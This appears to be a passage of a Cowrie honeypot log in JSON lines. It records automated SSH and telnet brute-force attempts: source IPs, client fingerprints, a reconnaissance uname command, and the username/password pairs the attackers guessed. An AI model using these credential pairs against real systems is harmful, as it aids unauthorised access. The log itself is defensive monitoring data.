{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:18.516939Z","src_ip":"68.183.178.130","session":"178bfdee6861","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:18.752898Z","src_ip":"68.183.178.130","session":"178bfdee6861","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345.","message":"login attempt [root/Abc12345.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:19.739782Z","src_ip":"68.183.178.130","session":"178bfdee6861","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:20.980872Z","src_ip":"68.183.178.130","session":"178bfdee6861","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:26.922609Z","src_ip":"8.218.166.49","session":"c2c9ec0016ee","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:26.926044Z","src_ip":"8.218.166.49","session":"c2c9ec0016ee","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"7.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:34.113470Z","src_ip":"8.218.166.49","session":"c2c9ec0016ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"95.2","message":"Connection lost after 95.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:34.118866Z","src_ip":"8.218.166.49","session":"c2c9ec0016ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":6272,"dst_ip":"10.17.0.5","dst_port":22,"session":"af2a3957b63c","protocol":"ssh","message":"New connection: 49.207.40.162:6272 (10.17.0.5:22) [session: af2a3957b63c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:49.193551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:49.199122Z","src_ip":"49.207.40.162","session":"af2a3957b63c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:49.418398Z","src_ip":"49.207.40.162","session":"af2a3957b63c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rails","message":"login attempt [root/rails] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:50.326231Z","src_ip":"49.207.40.162","session":"af2a3957b63c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"86.3","message":"Connection lost after 86.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:50.475706Z","src_ip":"8.218.166.49","session":"598d11e32ef3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:51.555581Z","src_ip":"49.207.40.162","session":"af2a3957b63c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:52.971157Z","src_ip":"8.218.166.49","session":"ee2fbdc15652","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.131.220.121","src_port":57894,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3d1f325ceab","protocol":"telnet","message":"New connection: 3.131.220.121:57894 (10.17.0.5:23) [session: c3d1f325ceab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:53.523759Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":32924,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f43854824bf","protocol":"ssh","message":"New connection: 68.183.178.130:32924 (10.17.0.5:22) [session: 6f43854824bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:55.608927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:55.613746Z","src_ip":"68.183.178.130","session":"6f43854824bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:55.851816Z","src_ip":"68.183.178.130","session":"6f43854824bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:56.834548Z","src_ip":"68.183.178.130","session":"6f43854824bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:08:58.075863Z","src_ip":"68.183.178.130","session":"6f43854824bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"65.9","message":"Connection lost after 65.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:01.296816Z","src_ip":"8.218.166.49","session":"ee2fbdc15652","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.02240800857544,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:03.546041Z","src_ip":"3.131.220.121","session":"c3d1f325ceab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":59560,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b9e0344fb44","protocol":"ssh","message":"New connection: 182.180.57.212:59560 (10.17.0.5:22) [session: 1b9e0344fb44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:09.524127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:09.529319Z","src_ip":"182.180.57.212","session":"1b9e0344fb44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:09.828260Z","src_ip":"182.180.57.212","session":"1b9e0344fb44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:10.753983Z","src_ip":"182.180.57.212","session":"1b9e0344fb44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:11.990898Z","src_ip":"182.180.57.212","session":"1b9e0344fb44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:15.932262Z","src_ip":"8.218.166.49","session":"1cf6126335d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.238.81.133","src_port":35510,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cabfa883922","protocol":"telnet","message":"New connection: 104.238.81.133:35510 (10.17.0.5:23) [session: 9cabfa883922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:17.792931Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":52872,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed4b25ad73b8","protocol":"ssh","message":"New connection: 198.23.150.42:52872 (10.17.0.5:22) [session: ed4b25ad73b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:24.407996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:24.411818Z","src_ip":"198.23.150.42","session":"ed4b25ad73b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:24.430608Z","src_ip":"198.23.150.42","session":"ed4b25ad73b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"speed@123","message":"login attempt [root/speed@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:24.537615Z","src_ip":"198.23.150.42","session":"ed4b25ad73b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:25.559887Z","src_ip":"198.23.150.42","session":"ed4b25ad73b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.28.195.186","src_port":33384,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9a5aa086750","protocol":"ssh","message":"New connection: 104.28.195.186:33384 (10.17.0.5:22) [session: b9a5aa086750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:27.837009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:27.845851Z","src_ip":"104.28.195.186","session":"b9a5aa086750","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:27.980934Z","src_ip":"104.28.195.186","session":"b9a5aa086750","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"soccer","message":"login attempt [root/soccer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:28.358412Z","src_ip":"104.28.195.186","session":"b9a5aa086750","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:29.455334Z","src_ip":"104.28.195.186","session":"b9a5aa086750","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":44410,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cb5b50798fb","protocol":"ssh","message":"New connection: 8.218.166.49:44410 (10.17.0.5:22) [session: 5cb5b50798fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:30.557798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:31.439794Z","src_ip":"8.218.166.49","session":"5cb5b50798fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:31.443956Z","src_ip":"8.218.166.49","session":"5cb5b50798fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.182.125.142","src_port":47106,"dst_ip":"10.17.0.5","dst_port":22,"session":"251ccc2a2147","protocol":"ssh","message":"New connection: 183.182.125.142:47106 (10.17.0.5:22) [session: 251ccc2a2147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:31.960635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:31.965633Z","src_ip":"183.182.125.142","session":"251ccc2a2147","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":51222,"dst_ip":"10.17.0.5","dst_port":22,"session":"5548c566a110","protocol":"ssh","message":"New connection: 68.183.178.130:51222 (10.17.0.5:22) [session: 5548c566a110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:32.166512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:09:32.174787Z","src_ip":"68.183.178.130","session":"5548c566a110","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"]